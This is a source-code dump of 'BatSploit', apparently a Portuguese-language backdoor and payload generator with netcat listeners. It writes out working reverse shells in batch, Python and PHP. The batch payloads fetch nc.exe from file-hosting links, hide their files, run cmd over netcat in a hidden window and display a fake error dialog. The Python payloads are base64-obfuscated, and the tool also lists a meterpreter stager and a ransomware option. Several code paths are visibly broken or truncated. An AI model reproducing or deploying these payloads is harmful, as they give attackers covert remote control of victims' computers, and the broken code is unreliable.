├── BatSploit_1.0
├── BatSploit.bat
├── BatSploit.py
├── exploits
│ ├── default_fud_backdoor.txt
│ └── test.txt
└── output
│ └── null
├── README.md
├── batsploit.py
├── core.py
├── handler.py
├── nc.exe
└── setup.py
/BatSploit_1.0/BatSploit.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | goto in
3 | :in
4 | mode 79,20
5 | color b0
6 | cls
7 | echo.
8 | echo XXXXXXXXXXXXXXXXXXXXXXXXX
9 | echo Bem-vindo(a) ao BatSploit
10 | echo XXXXXXXXXXXXXXXXXXXXXXXXX
11 | echo coder : ProXy
12 | echo.
13 | echo [bd_bat] Backdoor using NetCat no instalation required
14 | echo [mt_handler] Handler to listen connection, instalation required NetCat
15 | echo.
16 | set /p opt=batSploit :
17 | if '%opt%'== 'bd_bat' goto bd
18 | if '%opt%'== 'mt_handler' goto hd
19 | goto e1
20 | :e1
21 | echo.
22 | echo This option doesnt exists pls select other
23 | ping localhost -n 3 > null
24 | attrib +s +h null
25 | goto in
26 | :bd
27 | set /p name=batSploit [1] FileName :
28 | echo.
29 | echo Generating Backdoor Wait One Moment
30 | echo.
31 | cd exploits
32 | msg * ALTERRE YOUR_IP E YOUR_PORT
33 | start default_fud_backdoor.txt
34 | pause
35 | copy default_fud_backdoor.txt %name%.bat
36 | move %name%.bat ../output/%name%.bat
37 | copy test.txt default_fud_backdoor.txt
38 | echo.
39 | echo Backdoor was created
40 | cd ..
41 | ping localhost -n 5 > null
42 | goto in
43 | :hd
44 | echo.
45 | set /p per=Voce tem NetCat baixado [S/N] ?
46 | if '%per%'=='N' goto n
47 | if '%per%'=='S' goto s
48 | goto e2
49 | e2:
50 | echo.
51 | echo This command doesnt exists
52 | goto 2
53 | :n
54 | echo.
55 | echo Downloading netcat ...
56 | powershell (New-Object System.Net.WebClient).DownloadFile('http://download1979.mediafire.com/ytti8lezd61g/plfm7t2nar12hdb/nc.exe', 'nc.exe')
57 | echo.
58 | echo Downloading Completed
59 | echo.
60 | set /p port=batSploit [2] Port :
61 | echo Handller Started
62 | start nc -nvlp %port%
63 | :s
64 | echo.
65 | set /p port=batSploit [2] Port :
66 | echo Handller Started
67 | start nc -nvlp %port%
68 |
--------------------------------------------------------------------------------
/BatSploit_1.0/BatSploit.py:
--------------------------------------------------------------------------------
1 | #Author : Daniel Victor Freire Feitosa
2 | #Version : 1.1.0
3 | #!/usr/bin/python
4 | import os
5 |
6 | def banner():
7 | os.system("cls") # if windows
8 | #os.system("ls") # if linux
9 | print ""
10 | print " /$$$$$$$ /$$ /$$$$$$ /$$ /$$ /$$"
11 | print " | $$__ $$ | $$ /$$__ $$ | $$ |__/ | $$"
12 | print " | $$ \ $$ /$$$$$$ /$$$$$$ | $$ \__/ /$$$$$$ | $$ /$$$$$$ /$$ /$$$$$$"
13 | print " | $$$$$$$ |____ $$|_ $$_/ | $$$$$$ /$$__ $$| $$ /$$__ $$| $$|_ $$_/"
14 | print " | $$__ $$ /$$$$$$$ | $$ \____ $$| $$ \ $$| $$| $$ \ $$| $$ | $$ "
15 | print " | $$ \ $$ /$$__ $$ | $$ /$$ /$$ \ $$| $$ | $$| $$| $$ | $$| $$ | $$ /$$"
16 | print " | $$$$$$$/| $$$$$$$ | $$$$/| $$$$$$/| $$$$$$$/| $$| $$$$$$/| $$ | $$$$/"
17 | print " |_______/ \_______/ \___/ \______/ | $$____/ |__/ \______/ |__/ \___/ "
18 | print " | $$ "
19 | print " | $$ "
20 | print " |__/ "
21 | print ""
22 | print " CODER : Daniel Victor Freire Feitosa | @DanielFreire00 | ProXySec "
23 | print ""
24 | print "Payloads List\r\n"
25 | print "==============================================================================="
26 | print "NetCat Windows Reverse Shell : windows/bd_netcat/reverse_shell\r\n"
27 | print "NetCat Linux Reverse Shell : linux/bd_netcat/reverse_shell\r\n"
28 | print "Python Reverse Shell : python/reverse_shell\r\n"
29 | print ""
30 | print ""
31 |
32 | def backdoor_netcat_windows(nc, host, port, name):
33 | bd = "color 7f && mode 20, 10\r\n"
34 | bd += "cd %TEMP%\r\n"
35 | bd += "echo powershell(new-object system.net.webclient).downloadfile('"+nc+"', 'nc.exe') >> bd.bat\r\n"
36 | bd += "echo attrib +s +h nc.exe >> bd.bat\r\n"
37 | bd += "echo nc " + host + " " + port + " -e cmd >> bd.bat\r\n"
38 | bd += "attrib +s +h bd.bat\r\n"
39 | bd += "powershell -W hidden ./bd.bat"
40 | arquivo = open(name + ".bat", "w")
41 | arquivo.write(bd)
42 |
43 | def backdoor_netcat_linux(host, port, name):
44 | bd = "echo nc "+host+" "+port+" -e /bin/bash > bd.sh"
45 | bd += "sh bd.sh & dismown && clear &> dev/null"
46 | bd += "clear"
47 | arquivo = open(name + ".sh", "w")
48 | arquivo.write(bd)
49 |
50 | def backdoor_python(host, port, name):
51 | bd = "import socket, os\r"
52 | bd += "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\r"
53 | bd += "s.connect(('"+host+"', "+port+"))\r"
54 | bd += "QD=True\r"
55 | bd += "while not QD:\r"
56 | bd += " data = s.recv(1024)\r"
57 | bd += " if len(data)==0:\r"
58 | bd += " QD=True\r"
59 | bd += " a,b,c,=os.popen3(data)\r"
60 | bd += " b_value=b.read()+c.read()\r"
61 | bd += " s.send(b_value)"
62 | arquivo = open(name + ".py", "w")
63 | arquivo.write(bd)
64 |
65 |
66 | def run():
67 | banner()
68 | cmd = raw_input("BatSploit Console _> ")
69 | if cmd == "payload windows/bd_netcat/reverse_shell":
70 | print ""
71 | print "NetCat Windows Reverse Shell"
72 | print ""
73 | nc_link = raw_input("NetCat Link Download _> ")
74 | if nc_link == "default":
75 | nc = "https://fs08n2.sendspace.com/dl/9140e71679f37b4c756ca6fcab9ff626/596eb3224bcb6aa7/3ajt22/nc.exe"
76 | #nc = "http://192.168.0.101/nc.exe"
77 | else:
78 | nc = nc_link
79 | host = raw_input("LHOST _> ")
80 | port = raw_input("LPORT _> ")
81 | name = raw_input("Name of backdoor _> ")
82 | try:
83 | print ""
84 | print "Criando Backdoor"
85 | backdoor_netcat_windows(nc, host, port, name)
86 | print "Backdoor Criada : " + name + ".bat"
87 | except:
88 | print "Algo deu errado..."
89 | elif cmd == "payload linux/bd_netcat/reverse_shell":
90 | print ""
91 | print "NetCat Linux Reverse Shell"
92 | print ""
93 | host = raw_input("LHOST _> ")
94 | port = raw_input("LPORT _> ")
95 | name = raw_input("Name of backdoor _> ")
96 | try:
97 | print ""
98 | print "Criando Backdoor"
99 | backdoor_netcat_linux(nc, host, port, name)
100 | print "Backdoor Criada : " + name + ".sh"
101 |
102 | except:
103 | print "Algo deu errado..."
104 | elif cmd == "payload python/reverse_shell":
105 | print ""
106 | print "Python Reverse Shell"
107 | print ""
108 | host = raw_input("LHOST _> ")
109 | port = raw_input("LPORT _> ")
110 | name = raw_input("Name of backdoor _> ")
111 | try:
112 | print ""
113 | print "Criando Backdoor"
114 | backdoor_python(host, port, name)
115 | print "Backdoor Criada : " + name + ".py"
116 | except:
117 | print "Algo deu errado..."
118 |
119 | run()
120 |
--------------------------------------------------------------------------------
/BatSploit_1.0/exploits/default_fud_backdoor.txt:
--------------------------------------------------------------------------------
1 | @echo off
2 | echo powershell (New-Object System.Net.WebClient).DownloadFile('http://download1979.mediafire.com/ytti8lezd61g/plfm7t2nar12hdb/nc.exe', 'nc.exe') > myCode.bat
3 | echo attrib +s +h nc.exe >> myCode.bat
4 | echo nc YOUR_IP YOUR_PORT -e cmd.exe >> myCode.bat
5 | attrib +s +h myCode.bat
6 | msg * Error 0xF85961846632
7 | powershell -WindowStyle Hidden ./myCode.bat
8 |
--------------------------------------------------------------------------------
/BatSploit_1.0/exploits/test.txt:
--------------------------------------------------------------------------------
1 | @echo off
2 | echo powershell (New-Object System.Net.WebClient).DownloadFile('http://download1979.mediafire.com/ytti8lezd61g/plfm7t2nar12hdb/nc.exe', 'nc.exe') > myCode.bat
3 | echo attrib +s +h nc.exe >> myCode.bat
4 | echo nc YOUR_IP YOUR_PORT -e cmd.exe >> myCode.bat
5 | attrib +s +h myCode.bat
6 | msg * Error 0xF85961846632
7 | powershell -WindowStyle Hidden ./myCode.bat
8 |
--------------------------------------------------------------------------------
/BatSploit_1.0/output/null:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BatSploit
2 |
3 | Projeto open-source para pentesters, contém generator de payloads FUD (Full Undetectable) e handler de escuta
4 |
5 | # Instalação
6 | user@user:~# python setup.py
7 |
8 | # Informações Adcicionais
9 |
10 | - Autor : Daniel Victor Freire Feitosa (ProXySec)
11 | - Versão : 2.0.0
12 | - Contato : danielfreire56@hotmail.com
13 |
14 |
--------------------------------------------------------------------------------
/batsploit.py:
--------------------------------------------------------------------------------
1 | #-*-coding: utf8-*-
2 | import sys, platform
3 | from core import BatSploit
4 | '''
5 | @Author : Daniel Victor Freire Feitosa
6 | @Version : 2.0
7 | @Name : BatSploit
8 | @Language : Python 2.7
9 |
10 |
11 |
12 | Tool Open-Source, qualquer mudança pra melhor é bem vinda, os textos estão em inglês pq é mais simples não ter
13 | que acentuar tudo, e também é uma língua universal, mas os comentários estão em pt-br
14 | '''
15 | batsploit = BatSploit('BatSploit', '2.0', platform.system())
16 | batsploit.banner()
17 | if len(sys.argv) < 2:
18 | batsploit.usage(sys.argv[0])
19 | else:
20 | if len(sys.argv) == 2:
21 | if sys.argv[1] == "-list":
22 | batsploit.list_payloads() # lista todos os payloads do script
23 | elif sys.argv[1] == "-bind":
24 | batsploit.usage_bind(sys.argv[0]) # mostra como o bind é usado
25 | elif sys.argv[1] == "-payload":
26 | batsploit.usage_payload(sys.argv[0]) # mostra como o create payloads é usado
27 | elif len(sys.argv) >= 2:
28 | if sys.argv[1] == "-bind":
29 | lhost = sys.argv[2] # local host para escutar a conexão dos payloads
30 | lport = sys.argv[3] # local port para escutar a conexão dos payloads
31 | if "=" not in lhost or "=" not in lport:
32 | batsploit.usage_bind(sys.argv[0]) # mostra como o bind é usad
33 | else:
34 | batsploit.bind(lhost, lport)
35 | elif sys.argv[1] == "-nc_bind":
36 | lhost = sys.argv[2] # local host para escutar a conexão dos payloads
37 | lport = sys.argv[3] # local port para escutar a conexão dos payloads
38 | if "=" not in lhost or "=" not in lport:
39 | batsploit.usage_nc_bind(sys.argv[0]) # mostra como o bind é usad
40 | else:
41 | batsploit.nc_bind(lhost, lport)
42 | if sys.argv[1] == "-payload":
43 | if len(sys.argv) <= 4:
44 | payload = sys.argv[2]
45 | if payload == "python/ransomware":
46 | try:
47 | name = sys.argv[3]
48 | except IndexError:
49 | batsploit.usage_payload_ransomware(sys.argv[0])
50 | sys.exit()
51 | batsploit.create_payload(payload, 'data="data"', 'size=0', name)
52 | sys.exit()
53 | elif len(sys.argv) == 6:
54 | payload = sys.argv[2]
55 | lhost = sys.argv[3] # local host para o payload se conectar
56 | lport = sys.argv[4] # local port para o pauload se conectar
57 | name = sys.argv[5] # nome do payload
58 | if "=" not in lhost or "=" not in lport or not lhost or not lport:
59 | batsploit.usage_payload(sys.argv[0]) # mostra como o create payloads é usado
60 | else:
61 | batsploit.create_payload(payload, lhost, lport, name)
62 | if payload == 'python/batsploit_reverse_tcp':
63 | quest = raw_input("\n[?] Do you want start handler [Y/N] : ") # pergunta se quer que inicie o handler automáticamente
64 | if quest == "N" or quest == "n":
65 | sys.exit()
66 | else:
67 | batsploit.bind(lhost, lport)
68 | elif 'meterpreter' in payload:
69 | sys.exit()
70 | else:
71 | quest = raw_input("\n[?] Do you want start handler [Y/N] : ") # pergunta se quer que inicie o handler automáticamente
72 | if quest == "N" or quest == "n":
73 | sys.exit()
74 | else:
75 | batsploit.nc_bind(lhost, lport)
76 | else:
77 | batsploit.usage_payload(sys.argv[0]) # mostra como o create payloads é usado
78 |
--------------------------------------------------------------------------------
/core.py:
--------------------------------------------------------------------------------
1 | #-*-coding: utf8-*-
2 | '''
3 | @Author : Daniel Victor Freire Feitosa
4 | @Version : 2.0
5 | @Name : BatSploit
6 | @Language : Python 2.7
7 |
8 |
9 |
10 | Tool Open-Source, qualquer mudança pra melhor é bem vinda, os textos estão em inglês pq é mais simples não ter
11 | que acentuar tudo, e também é uma língua universal, mas os comentários estão em pt-br
12 | '''
13 | import os, sys, platform
14 | try:
15 | from colorama import init
16 | from termcolor import colored
17 | init()
18 | if platform.system() == "Windows" and os.path.exists("cpp/bin") == False:
19 | sys.stdout.write("[!] Some modules needed to use BatSploit 2\n[*] Run : setup.py\n")
20 | sys.exit()
21 | except ImportError:
22 | sys.stdout.write("[!] Some modules needed to use BatSploit 2\n[*] Run : setup.py\n")
23 | sys.exit()
24 |
25 | class BatSploit(object):
26 |
27 | def __init__(self, name, version, platform):
28 | self.platform = platform
29 | self.name = name
30 | self.version = version
31 |
32 | def banner(self):
33 | if self.platform == "Windows":
34 | os.system("cls") # if windows
35 | else:
36 | os.system("clear") # if linux or mac
37 | print ""
38 | print colored("# cosway ...", "green")
39 | print colored(" _____________", "white")
40 | print colored("<", "white") + colored(" BatSploit 2 ", "green") + colored(">", "white")
41 | print colored(" -------------", "white")
42 | print colored(" \ ,__,", "white")
43 | print colored(" \ (oo)____", "white")
44 | print colored(" (__) )\\", "white")
45 | print colored(" ||--|| *", "white")
46 | sys.stdout.write(colored("\n @Author : Daniel Victor Freire\n", "grey"))
47 | sys.stdout.write(colored(" @Version : 2.0.0\n", "grey"))
48 | sys.stdout.write(colored(" \n", "grey"))
49 |
50 | def usage(self, argv):
51 | name_script = argv.split("\\") # windows only
52 | try:
53 | index_name = len(name_script) - 1
54 | name = name_script[index_name] # nome do script no windows
55 | except IndexError:
56 | name = argv
57 | sys.stdout.write(colored("\n ======", "green"))
58 | sys.stdout.write(colored(" Usage of tool ", "white"))
59 | sys.stdout.write(colored("======\n", "green"))
60 | sys.stdout.write(colored("\n[+] "+name, "green"))
61 | sys.stdout.write(colored(" -list : List all payloads\n", "white"))
62 | sys.stdout.write(colored("[+] "+name, "green"))
63 | sys.stdout.write(colored(" -bind : Start handler to audit payloads\n", "white"))
64 | sys.stdout.write(colored("[+] "+name, "green"))
65 | sys.stdout.write(colored(" -nc_bind : Start handler to audit payloads with netcat\n", "white"))
66 | sys.stdout.write(colored("[+] "+name, "green"))
67 | sys.stdout.write(colored(" -payload : Create payloads\n", "white"))
68 |
69 | def usage_bind(self, argv):
70 | name_script = argv.split("\\") # windows only
71 | try:
72 | index_name = len(name_script) - 1
73 | name = name_script[index_name] # nome do script no windows
74 | except IndexError:
75 | name = argv
76 | sys.stdout.write(colored("\n ======", "green"))
77 | sys.stdout.write(colored(" Usage to start handler ", "white"))
78 | sys.stdout.write(colored("======\n", "green"))
79 | sys.stdout.write(colored("\n[+] "+name, "green"))
80 | sys.stdout.write(colored(" -bind LHOST=127.0.0.1 LPORT=1337\n", "white"))
81 |
82 | def usage_nc_bind(self, argv):
83 | name_script = argv.split("\\") # windows only
84 | try:
85 | index_name = len(name_script) - 1
86 | name = name_script[index_name] # nome do script no windows
87 | except IndexError:
88 | name = argv
89 | sys.stdout.write(colored("\n ======", "green"))
90 | sys.stdout.write(colored(" Usage to start handler ", "white"))
91 | sys.stdout.write(colored("======\n", "green"))
92 | sys.stdout.write(colored("\n[+] "+name, "green"))
93 | sys.stdout.write(colored(" -nc_bind LHOST=127.0.0.1 LPORT=1337\n", "white"))
94 |
95 | def usage_payload(self, argv):
96 | name_script = argv.split("\\") # windows only
97 | try:
98 | index_name = len(name_script) - 1
99 | name = name_script[index_name] # nome do script no windows
100 | except IndexError:
101 | name = argv
102 | sys.stdout.write(colored("\n ======", "green"))
103 | sys.stdout.write(colored(" Usage to start handler ", "white"))
104 | sys.stdout.write(colored("======\n", "green"))
105 | sys.stdout.write(colored("\n[+] "+name, "green"))
106 | sys.stdout.write(colored(" -payload python/batsploit/reverse_tcp LHOST=127.0.0.1 LPORT=1337 payload.py\n", "white"))
107 |
108 | def usage_payload_ransomware(self, argv):
109 | name_script = argv.split("\\") # windows only
110 | try:
111 | index_name = len(name_script) - 1
112 | name = name_script[index_name] # nome do script no windows
113 | except IndexError:
114 | name = argv
115 | sys.stdout.write(colored("\n ======", "green"))
116 | sys.stdout.write(colored(" Usage to start handler ", "white"))
117 | sys.stdout.write(colored("======\n", "green"))
118 | sys.stdout.write(colored("\n[+] "+name, "green"))
119 | sys.stdout.write(colored(" -payload python/ransomware ransomware.py\n", "white"))
120 |
121 | def list_payloads(self):
122 | # essa função lista os payloads
123 | print "\n[!] Payloads List"
124 | if self.platform == "Windows":
125 | payloads = ['python/netcat/reverse_tcp', 'python/batsploit/reverse_tcp', 'python/meterpreter/reverse_tcp', 'python/ransomware', 'windows/netcat/reverse_tcp', 'windows/c++/powershell_reverse_tcp', 'windows/c++/socket_reverse_tcp', 'linux/netcat/reverse_tcp', 'php/socket/reverse_tcp', 'php/netcat/reverse_tcp', 'php/meterpreter/reverse_tcp', 'ruby/netcat/reverse_tcp'] # tupple contendo os payloads
126 | else:
127 | payloads = ['python/netcat/reverse_tcp', 'python/batsploit/reverse_tcp', 'python/meterpreter/reverse_tcp', 'python/ransomware', 'windows/netcat/reverse_tcp', 'linux/netcat/reverse_tcp', 'php/socket/reverse_tcp', 'php/netcat/reverse_tcp', 'php/meterpreter/reverse_tcp', 'ruby/netcat/reverse_tcp'] # tupple contendo os payloads
128 | for payload in payloads:
129 | sys.stdout.write(colored("\n[+] ", "green"))
130 | sys.stdout.write(colored(payload, "white"))
131 | print ""
132 |
133 | def bind(self, lhost, lport):
134 | if not lhost:
135 | sys.stdout.write(colored("\n[-] ", "red"))
136 | sys.stdout.write(colored("Set example : LHOST=127.0.0.1\n", "white"))
137 | elif not lport:
138 | sys.stdout.write(colored("\n[-] ", "red"))
139 | sys.stdout.write(colored("Set example : LPORT=1337\n", "white"))
140 | host = lhost.split("=")[1] # local host para escutar a conexão
141 | port = lport.split("=")[1] # local port para escutar a conexão
142 | sys.stdout.write(colored("\n ======", "green"))
143 | sys.stdout.write(colored(" Handler started at {host}:{port}".format(host=host, port=int(port)), "white"))
144 | sys.stdout.write(colored("======\n", "green"))
145 | if self.platform == "Windows":
146 | os.system("start python handler.py %s %s".format(host=host, port=int(port)))
147 | elif self.platform == "Linux":
148 | os.system("gnome-terminal python handler.py {host} {port}".format(host=host, port=int(port)))
149 |
150 | def nc_bind(self, lhost, lport):
151 | # isso escuta as conecxoes com netcat
152 | host = lhost.split("=")[1]
153 | port = lport.split("=")[1]
154 | sys.stdout.write(colored("\n ======", "green"))
155 | sys.stdout.write(colored(" Handler started at {host}:{port}".format(host=host, port=int(port)), "white"))
156 | sys.stdout.write(colored("======\n", "green"))
157 | if self.platform == "Windows":
158 | os.system("start nc.exe -nvlp {port}".format(port))
159 | elif self.platform == "Linux":
160 | os.system("gnome-terminal nc -nvlp {port}".format(port))
161 |
162 | def compilers_verify(self):
163 | # verifica se os compiladores de c++ existem
164 | if self.platform == "Windows":
165 | path_compilers = "cpp/bin" # path dos compiladores
166 | path_compilers_include = "cpp/include" # path dos arquivos para os compiladores
167 | path_compilers_sys = "cpp/include/sys" # path dos arquivos para os compiladores
168 | if os.path.exists(path_compilers) == False or os.path.exists(path_compilers_include) == False or os.path.exists(path_compilers_sys) == False:
169 | sys.stdout.write(colored("\n[!] ", "red"))
170 | sys.stdout.write(colored(" Some compilers are needed to create this payload, run setup.py\n", "white"))
171 | sys.exit()
172 | else:
173 | return True
174 | elif self.platform == "Linux":
175 | verify_cmd = os.popen("i586-mingw32msvc-gcc --version")
176 | if "Copyright" in verify_cmd.read():
177 | return True
178 | else:
179 | sys.stdout.write(colored("\n[!] ", "red"))
180 | sys.stdout.write(colored(" Some compilers are needed to create this payload, run setup.py\n", "white"))
181 | sys.stdout.write(colored("\n[!] ", "yellow"))
182 | sys.stdout.write(colored(" This part of script doesn't optimized to linux distros :(\n", "red"))
183 | sys.exit()
184 |
185 | def create_payload(self, payload, lhost, lport, name):
186 | host = lhost.split("=")[1] # local host para o payload se conectar
187 | port = int(lport.split("=")[1]) # local port para o payload se conectar
188 | sys.stdout.write(colored("\n ======", "green"))
189 | sys.stdout.write(colored(" Creating Payload : %s ".format(payload), "white"))
190 | sys.stdout.write(colored("======\n", "green"))
191 | if payload == 'python/netcat/reverse_tcp':
192 | # code ...
193 | code = "import socket,os\n"
194 | code += "s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
195 | code += "s.connect(('%s', %i))\n".format(host=host, port=int(port))
196 | code += "while True:\n"
197 | code += " s.send(os.popen(s.recv(1024)).read())"
198 | encode = code.encode('base64').replace("\n", "") # isso codifica o código
199 | payload_coded = "string = '%s'\n".format(encode)
200 | payload_coded += "exec(string.decode('base64'))" # isso decodifica e executa o payload
201 | payload_file = open(name, 'w') # abri o arquivo dst
202 | payload_file.write(payload_coded) # escreve o código no arquivo
203 | payload_file.close() # fecha o arquivo
204 | size_payload = os.path.getsize(name) # tamanho do payload
205 | sys.stdout.write(colored("\n[+] ", "green"))
206 | sys.stdout.write(colored("Payload was created ! \n", "white"))
207 | sys.stdout.write(colored("\n[+] ", "green"))
208 | sys.stdout.write(colored("LHOST : %s".format(host), "white"))
209 | sys.stdout.write(colored("\n[+] ", "green"))
210 | sys.stdout.write(colored("LPORT : %i".format(port), "white"))
211 | sys.stdout.write(colored("\n[+] ", "green"))
212 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
213 | sys.stdout.write(colored("\n[+] ", "green"))
214 | sys.stdout.write(colored("Size : %i bytes ".format(size_payload), "white"))
215 | sys.stdout.write(colored("\n[+] ", "green"))
216 | sys.stdout.write(colored("Path : compiled/%s\n".format(name), "white"))
217 | if self.platform == "Windows":
218 | os.system('@echo off && move "%s" "compiled/%s" > null && del null'.format(name=name)) # move o arquivo para a pasta compiled
219 | elif self.platform == "Linux":
220 | os.system("mv {name} compiled/{name}".format(name=name)) # move o arquivo para a pasta compiled
221 | elif payload == 'python/batsploit/reverse_tcp':
222 | # code
223 | code = "import socket, os\n"
224 | code += "s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
225 | code += "s.connect(('%s', %i))\n".format(host=host, port=int(port))
226 | code += "s.send('[~] Garanted Access by BatSploit 2.0 [~]')\n"
227 | code += "while True:\n"
228 | code += " saida_cmd = os.popen(s.recv(1024)).read()\n"
229 | code += " if len(saida_cmd) == 0:\n"
230 | code += " saida_cmd = '[+] Executed !'\n"
231 | code += " s.send(saida_cmd)"
232 | encode = code.encode('base64').replace("\n", "") # isso codifica o código
233 | payload_coded = "string = '%s'\n".format(encode)
234 | payload_coded += "exec(string.decode('base64'))" # isso decodifica e executa o payload
235 | payload_file = open(name, 'w') # abri o arquivo dst
236 | payload_file.write(payload_coded) # escreve o código no arquivo
237 | payload_file.close() # fecha o arquivo
238 | size_payload = os.path.getsize(name) # tamanho do payload
239 | sys.stdout.write(colored("Payload was created ! \n", "white"))
240 | sys.stdout.write(colored("\n[+] ", "green"))
241 | sys.stdout.write(colored("LHOST : %s".format(host), "white"))
242 | sys.stdout.write(colored("\n[+] ", "green"))
243 | sys.stdout.write(colored("LPORT : %i".format(port), "white"))
244 | sys.stdout.write(colored("\n[+] ", "green"))
245 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
246 | sys.stdout.write(colored("\n[+] ", "green"))
247 | sys.stdout.write(colored("Size : %i bytes ".format(size_payload), "white"))
248 | sys.stdout.write(colored("\n[+] ", "green"))
249 | sys.stdout.write(colored("Path : compiled/%s\n".format(name), "white"))
250 | if self.platform == "Windows":
251 | os.system('@echo off && move "%s" "compiled/%s" > null && del null'.format(name=name)) # move o arquivo para a pasta compiled
252 | elif self.platform == "Linux":
253 | os.system("mv {name} compiled/{name}".format(name=name)) # move o arquivo para a pasta compiled
254 | elif payload == 'windows/netcat/reverse_tcp':
255 | # code
256 | code = "@echo off\n"
257 | code += "color 7f && mode 20, 10\n"
258 | code += "cd %TEMP%\n"
259 | code += "echo powershell -ExecutionPolicy bypass (New-Object System.Net.WebClient).DownloadFile('http://github.com/proxyanon/BatSploit/raw/master/nc.exe', 'nc.exe') > bd.bat\n"
260 | code += "echo nc.exe {host} {port} -e cmd >> bd.bat\n".format(host=host, port=int(port))
261 | code += "powershell -W hidden ./bd.bat"
262 | payload_file = open(name, 'w') # abri o arquivo dst
263 | payload_file.write(code) # escreve o código no arquivo
264 | payload_file.close() # fecha o arquivo
265 | size_payload = os.path.getsize(name) # tamanho do payload
266 | sys.stdout.write(colored("Payload was created ! \n", "white"))
267 | sys.stdout.write(colored("\n[+] ", "green"))
268 | sys.stdout.write(colored("LHOST : %s".format(host), "white"))
269 | sys.stdout.write(colored("\n[+] ", "green"))
270 | sys.stdout.write(colored("LPORT : %i".format(port), "white"))
271 | sys.stdout.write(colored("\n[+] ", "green"))
272 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
273 | sys.stdout.write(colored("\n[+] ", "green"))
274 | sys.stdout.write(colored("Size : %i bytes ".format(size_payload), "white"))
275 | sys.stdout.write(colored("\n[+] ", "green"))
276 | sys.stdout.write(colored("Path : compiled/%s\n".format(name), "white"))
277 | if self.platform == "Windows":
278 | os.system('@echo off && move "%s" "compiled/%s" > null && del null'.format(name=name)) # move o arquivo para a pasta compiled
279 | elif self.platform == "Linux":
280 | os.system("mv {name} compiled/{name}".format(name=name)) # move o arquivo para a pasta compiled
281 | elif payload == 'linux/netcat/reverse_tcp':
282 | # code
283 | code = "#!/bin/bash\n"
284 | code += "nc %s %i -e /bin/bash &> dismown && clear".format(host=host, port=int(port))
285 | payload_file = open(name, 'w') # abri o arquivo dst
286 | payload_file.write(code) # escreve o código no arquivo
287 | payload_file.close() # fecha o arquivo
288 | size_payload = os.path.getsize(name) # tamanho do payload
289 | sys.stdout.write(colored("Payload was created ! \n", "white"))
290 | sys.stdout.write(colored("\n[+] ", "green"))
291 | sys.stdout.write(colored("LHOST : %s".format(host), "white"))
292 | sys.stdout.write(colored("\n[+] ", "green"))
293 | sys.stdout.write(colored("LPORT : %i".format(port), "white"))
294 | sys.stdout.write(colored("\n[+] ", "green"))
295 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
296 | sys.stdout.write(colored("\n[+] ", "green"))
297 | sys.stdout.write(colored("Size : %i bytes ".format(size_payload), "white"))
298 | sys.stdout.write(colored("\n[+] ", "green"))
299 | sys.stdout.write(colored("Path : compiled/%s\n".format(name), "white"))
300 | if self.platform == "Windows":
301 | os.system('@echo off && move "{name}" "compiled/{name}" > null && del null'.format(name=name)) # move o arquivo para a pasta compiled
302 | elif self.platform == "Linux":
303 | os.system("mv {name} compiled/{name}".format(name=name)) # move o arquivo para a pasta compiled
304 | elif payload == 'php/socket/reverse_tcp':
305 | # code
306 | code = ""
313 | payload_file = open(name, 'w') # abri o arquivo dst
314 | payload_file.write(code) # escreve o código no arquivo
315 | payload_file.close() # fecha o arquivo
316 | size_payload = os.path.getsize(name) # tamanho do payload
317 | sys.stdout.write(colored("Payload was created ! \n", "white"))
318 | sys.stdout.write(colored("\n[+] ", "green"))
319 | sys.stdout.write(colored("LHOST : %s".format(host), "white"))
320 | sys.stdout.write(colored("\n[+] ", "green"))
321 | sys.stdout.write(colored("LPORT : %i".format(port), "white"))
322 | sys.stdout.write(colored("\n[+] ", "green"))
323 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
324 | sys.stdout.write(colored("\n[+] ", "green"))
325 | sys.stdout.write(colored("Size : %i bytes ".format(size_payload), "white"))
326 | sys.stdout.write(colored("\n[+] ", "green"))
327 | sys.stdout.write(colored("Path : compiled/%s\n".format(name), "white"))
328 | if self.platform == "Windows":
329 | os.system('@echo off && move "{name}" "compiled/{name}" > null && del null'.format(name=name)) # move o arquivo para a pasta compiled
330 | elif self.platform == "Linux":
331 | os.system("mv {name} compiled/{name}".format(name=name)) # move o arquivo para a pasta compiled
332 | elif payload == 'python/meterpreter/reverse_tcp':
333 | # code ...
334 | code = "import socket,struct\n"
335 | code += "s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
336 | code += "s.connect(('{host}', {port}))\n".format(host=host, port=int(port))
337 | code += "packet=struct.unpack('>I',s.recv(4))[0]\n"
338 | code += "data=s.recv(packet)\n"
339 | code += "while len(data) null && del null'.format(name=name)) # move o arquivo para a pasta compiled
362 | elif self.platform == "Linux":
363 | os.system("mv {name} compiled/{name}".format(name=name)) # move o arquivo para a pasta compiled
364 | elif payload == 'php/netcat/reverse_tcp':
365 | # code ...
366 | code = "$s=fsockopen('%s',%i);while($s): fwrite($s, fread(popen(fread($s, 1024), 'r'), 20000)); endwhile;".format(host=host, port=int(port))
367 | encode = code.encode('base64').replace("\n", "")
368 | payload_coded = ""
370 | payload_file = open(name, 'w') # abri o arquivo dst
371 | payload_file.write(payload_coded)
372 | payload_file.close() # fecha o arquivo
373 | size_payload = os.path.getsize(name) # tamanho do payload
374 | sys.stdout.write(colored("\n[+] ", "green"))
375 | sys.stdout.write(colored("Payload was created ! \n", "white"))
376 | sys.stdout.write(colored("\n[+] ", "green"))
377 | sys.stdout.write(colored("LHOST : %s".format(host), "white"))
378 | sys.stdout.write(colored("\n[+] ", "green"))
379 | sys.stdout.write(colored("LPORT : %i".format(port), "white"))
380 | sys.stdout.write(colored("\n[+] ", "green"))
381 | sys.stdout.write(colored("Name : %s ".format(name), "white"))
382 | sys.stdout.write(colored("\n[+] ", "green"))
383 | sys.stdout.write(colored("Size : %i bytes ".format(size_payload), "white"))
384 | sys.stdout.write(colored("\n[+] ", "green"))
385 | sys.stdout.write(colored("Path : compiled/%s\n".format(name), "white"))
386 | if self.platform == "Windows":
